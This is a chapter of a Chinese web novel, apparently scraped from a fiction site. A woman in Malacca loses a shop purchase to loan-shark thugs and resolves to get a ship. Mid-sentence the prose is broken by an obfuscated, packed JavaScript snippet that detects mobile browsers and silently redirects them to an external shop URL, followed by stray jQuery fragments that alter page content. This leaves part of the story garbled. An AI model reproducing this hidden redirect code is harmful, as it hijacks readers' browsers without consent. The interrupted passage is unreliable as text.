90. 风波与船影

作品:《红楼之贾府丫鬟要上位

    看中的那处铺面位于华人聚居区边缘一条相对安静的街巷,前铺后舍,不大不小,后头还带个能晾晒药材的小天井,位置既不张扬,也方便熟客寻来。苏璃反复看了几次,又与房主,一位准备回福建老家的老郎中谈妥了价钱,只差最后签约付钱。


    她已盘算好,铺子开起来,前头一半做香药买卖,陈设些精致样品,后头一半隔出小小工坊和待客茶室,楼上还能收拾出两间洁净的厢房,以备不时之需,或是给未来可能雇佣的帮手暂住。她甚至想好了铺子的名字,就叫“芝兰香舍”,取“芝兰生于深林,不以无人而不芳”之意,低调,却自有品格。


    吴老夫人赏赐的银钱加上她这些时日辛苦积攒,正好够付清房款和简单修葺的费用。签约前一日,苏璃特意备了四色水礼,带着板儿,最后一次去拜访那位老郎中,一是确认细节,二也是感谢老人家愿意将铺子让给她这“外乡妇人”。


    一切顺利,只等次日午时,在街坊和一位相熟老秀才的见证下,立契交割。


    然而,就在约定时辰前一个时辰,苏璃正在陋巷家中最后清点要带去的银钱和契书,巷口忽然传来一阵嘈杂的喧哗,夹杂着哭喊和粗暴的呵斥声。林阿婆慌慌张张地跑进来,拍着胸口道:“柳娘子!不好了!你……你看中的那铺子出事了!来了好些凶神恶煞的人,把刘郎中的门都快砸烂了,说是刘郎中欠了他们东家的印子钱,那铺子早就押给他们了,不许卖!”


    苏璃心里咯噔一下,手中的银包差点掉落。她立刻将银钱藏好,嘱咐板儿锁好门看好妹妹,自己则定了定神,快步朝那铺子所在的街巷走去。


    远远便看见那“芝兰香舍”未来门脸前,已围了不少看热闹的街坊邻居。几个穿着短打、敞着怀、露出身上刺青的彪形大汉,正叉腰堵在门口,骂骂咧咧。领头的那个一脸横肉,眼角有道疤,正用手指几乎戳到跌坐在门槛内、面色惨白的刘郎中鼻子上:“姓刘的!欠债还钱,天经地义!当初你画押的时候可是说好的,还不上钱,这铺子连同里头所有家伙什,都归我们东家!你现在想偷偷卖掉卷款跑路?做梦!”


    刘郎中老泪纵横,颤声道:“王……王管事,那印子钱利滚利,实在骇人,老朽……老朽实在是还不起了,这才想着卖了祖产,回老家了此残生。这铺子……这位柳娘子是出了公道价的,足够偿还本金还有余啊!求您行行好,让我卖了铺子,把钱还上……”


    “还上?利息呢?”那王疤脸狞笑,“白纸黑字写得明明白白!还不上,铺子就是我们的!你卖?你拿什么卖?识相的,赶紧滚!别妨碍我们收房!”


    周围人群议论纷纷,有同情刘郎中的,也有畏惧那伙人凶悍,不敢出声的。苏璃挤进人群,看到这情景,心中又急又怒。她与刘郎中谈买卖时,反复确认过铺子产权清晰,并无纠葛。这伙人早不来晚不来,偏偏在她要签约的当口出现,还带着所谓的“抵押”字据,未免太过巧合。


    “这位管事,”苏璃深吸一口气,上前一步,声音尽量平稳清晰,“妾身便是要与刘老先生买这铺子的人。买卖讲究你情我愿,钱货两清。刘老先生既已将铺子作价卖我,我亦备足了银钱。至于他与贵东家的债务,乃是另一桩事。可否请管事出示抵押字据,若然属实,妾身愿与刘老先生一同,与贵东家商议,用这卖铺的银钱,了结债务,可好?”


    她想着,若能见到字据,辨明真伪,或许还能斡旋。即便真是高利贷,若能一次还清本金和合理利息,保住铺子,也值得。


    那王疤脸斜眼打量了苏璃几眼,见她虽然衣着朴素,但气度沉静,不似寻常妇人,倒收敛了些许嚣张,哼道:“字据自然有!但我们东家说了,这铺子地段好,不止这个价!你想买?行啊,出双倍的价!不然,免谈!”


    这分明是趁机敲诈,坐地起价了!周围响起一片低低的哗然。苏璃心中一沉,知道今日之事难以善了。她正思忖着如何应对,是暂时退让,还是设法请动吴府或陈老板这样的人来调解,眼角的余光,忽然瞥见人群外围,靠近街角阴影里,站着一个穿着半旧靛蓝布袍、头戴斗笠的男人。那人微微低着头,看不清全貌,但苏璃却觉得那身形和偶尔抬起的、阴鸷冰冷的视线,有几分熟悉——她曾在码头税关附近,看到过类似的身影!当时那人似乎也在打量来往带着孩子的妇人!


    一股寒意瞬间从脊背窜起。这伙逼债的人,和这个疑似探子的男人同时出现,是巧合吗?还是……有人不想让她顺利买下铺子,安顿下来?


    就在这时,一阵更响亮的喧哗从街口传来,伴随着整齐的脚步声和马蹄声。有人高喊:“官爷来了!红毛鬼的官也来了!”


    人群自动分开一条道。只见一队手持火枪的葡萄牙士兵开路,后面跟着几个穿着大明官服或太监服饰的人,被一群华人商贾和本地葡萄牙官员簇拥着,正朝这边走来。为首两名太监,面色白净,眼神倨傲,正用尖细的嗓音与旁边一个葡萄牙翻译说着什么,目光漫不经心地扫过街边景象。


    竟是官船上那些太监和葡萄牙总督府的人,巡街至此!看方向,正是朝着“广源号”吴府那边去,恰好路过此处。


    那王疤脸一伙人见了官兵和“天使”,气焰顿时矮了三分,不敢再大声叫嚷。人群也愈发安静,屏息看着这队显赫人马缓缓走近。


    苏璃的心提到了嗓子眼。她下意识地想低下头,避开那些太监可能的视线。但眼角的余光,却瞥见街角那个戴斗笠的阴鸷男人,在官队出现的刹那,身形微微一动,似乎想悄悄退走,却又停下,斗笠下的目光,似有意似无意地扫过那两名太监,又飞快地掠过苏璃所在的方向,然后,他竟转过身,不疾不徐地混入人群,朝着相反方向离开了。


    他走了?是因为官队到来,有所顾忌?还是……他本就不是冲她来的,只是恰逢其会?


    苏璃脑中念头飞转。此时,那队官家人马已行至铺子前不远。为首一名太监似乎对这边的骚动略有不满,皱了皱眉,用拂尘指了指,对旁边的葡萄牙军官说了句什么。那军官立刻派了两名士兵过来查看。


    王疤脸等人吓得连忙躬身退到一边,噤若寒蝉。刘郎中更是伏地不敢起。


    苏璃也低下头,退到人群里。她能感觉到有几道目光从官队中扫过,带着审视,但并未多做停留。那两名士兵过来简单询问了几句,王疤脸支支吾吾,只说是债务纠纷。士兵呵斥了几句“不得滋扰”,又见官队已继续前行,便也转身归队了。


    一场风波,因这意外的“官巡”而暂时平息。王疤脸一伙人见势不对,也不敢再强硬,只撂下几句“改日再来”的狠话,便悻悻散去。围观人群也渐渐议论着散去。


    苏璃扶起瘫软的刘郎中,老人已是面如死灰,喃喃道:“完了……全完了……他们不会罢休的……铺子保不住了……”他看向苏璃,老眼中满是愧疚与绝望,“柳娘子,对不住,对不住……是老朽连累了你。这铺子……怕是与娘子无缘了。”


    苏璃看着老人灰败的脸色,再看看那扇本应属于她的铺门,心中亦是百味杂陈。铺子事小,但今日之事透露出的蹊跷与恶意,却让她警铃大作。是单纯的商业欺压?还是与那寻找她的势力有关?那个戴斗笠的阴鸷男人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223285|192429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,是偶然出现,还是幕后指使?


    “刘老先生,您先别急,保重身子要紧。”苏璃温声安慰,“铺子的事,再从长计议。您的债务,或许……可以再想想别的法子。”


    她知道,这铺子暂时是买不成了。即便强行买下,有那伙人虎视眈眈,日后也必是麻烦不断。但就此放弃,她又不甘心。而且,今日之事也让她更加清醒地意识到,仅仅在陆地上开铺坐贾,根基太浅,极易受制于人。或许……她该将目光,更坚定地投向大海了?


    她将失魂落魄的刘郎中送回家,又婉拒了老人退还定金的提议,只说日后再议。回到陋巷家中,板儿和巧姐儿立刻围了上来,满脸担忧。苏璃勉强笑着安抚了他们。


    夜深人静,她独坐灯下,望着跳跃的灯火,心绪难平。铺子的事受挫,固然打击,却也像一记警钟,敲醒了她。在满剌加这片各方势力盘根错节的土地上,想要真正站稳脚跟,拥有属于自己的、不易被轻易撼动的基业,或许,只有大海,才能提供更广阔的空间和相对的自由。


    组建船队的念头,再次强烈地浮上心头。不,或许不能称之为“船队”,那太遥远。或许,可以先设法拥有或控制一条属于自己的、哪怕很小的船。一条能够载着她的货物,穿梭于附近岛屿之间,直接与产地沟通,甚至进行一些隐秘交易的船。


    她想起了黑塔和老海狗,他们是经验丰富的水手,如今“福海号”前途未卜,他们或许愿意加入?她想起了郑老大,他门路多,或许知道哪里能弄到可靠的小船,或者有门路能“租”到?甚至……她想到了那夜老余头送来的木匣,吴府所代表的深不可测的势力,是否能在这件事上,提供一些不显山露水的帮助?比如,一张安全的航线图,一个可靠的泊靠点,或是……某种程度上的庇护?


    这想法大胆而危险,投入巨大,且前途未卜。但她已无退路。陆上的铺子尚未开张便风波不断,暗处的窥伺从未停止,她需要一条进可攻、退可守,甚至必要时能再次“消失”在海上的后路。


    “板儿,”她忽然轻声唤道。睡在外间小榻上的板儿立刻应了一声,窸窸窣窣地披衣起来。


    “阿娘,你还没睡?”板儿走到她身边,懂事地给她倒了杯温水。


    苏璃接过水杯,看着少年日渐坚毅的眉眼,缓缓道:“板儿,阿娘想问问你,如果……如果咱们不买铺子了,阿娘想用那笔钱,去做一件更冒险,但也可能更有盼头的事——咱们自己弄条船,哪怕是很小的船,去海上的岛子做生意,你敢不敢再跟阿娘出一次海?”


    板儿眼睛骤然睁大,在昏黄的灯光下闪着光。他没有立刻回答,而是认真地想了一会儿,然后重重点头:“敢!阿娘,咱们在‘福海号’上那么难都过来了!现在咱们有钱,有阿娘的本事,还有黑塔大叔、老海狗爷爷他们!一定行!就是……”他犹豫了一下,“巧姐儿还小,海上颠簸……”


    “巧姐儿可以暂时托付给林阿婆,或是……若是顺利,咱们可以在一个安全些的岛上,找个稳妥的人家暂住。”苏璃早已想过这个问题,“这需要从长计议,每一步都得走稳。咱们先不急,阿娘要先打听清楚,需要多少本钱,找什么样的人,走什么样的航线。”


    看着板儿用力点头的样子,苏璃心中那因白日风波而起的郁结,消散了许多。是啊,陆上走不通,便向海上去。这满剌加,本就是因海而兴。她的未来,或许真的就在那波涛起伏、连接着无数机遇与秘密的汪洋之中。


    窗外,传来遥远的、涨潮的海浪声,一声声,拍打着堤岸,也仿佛拍打在她跃跃欲试的心上。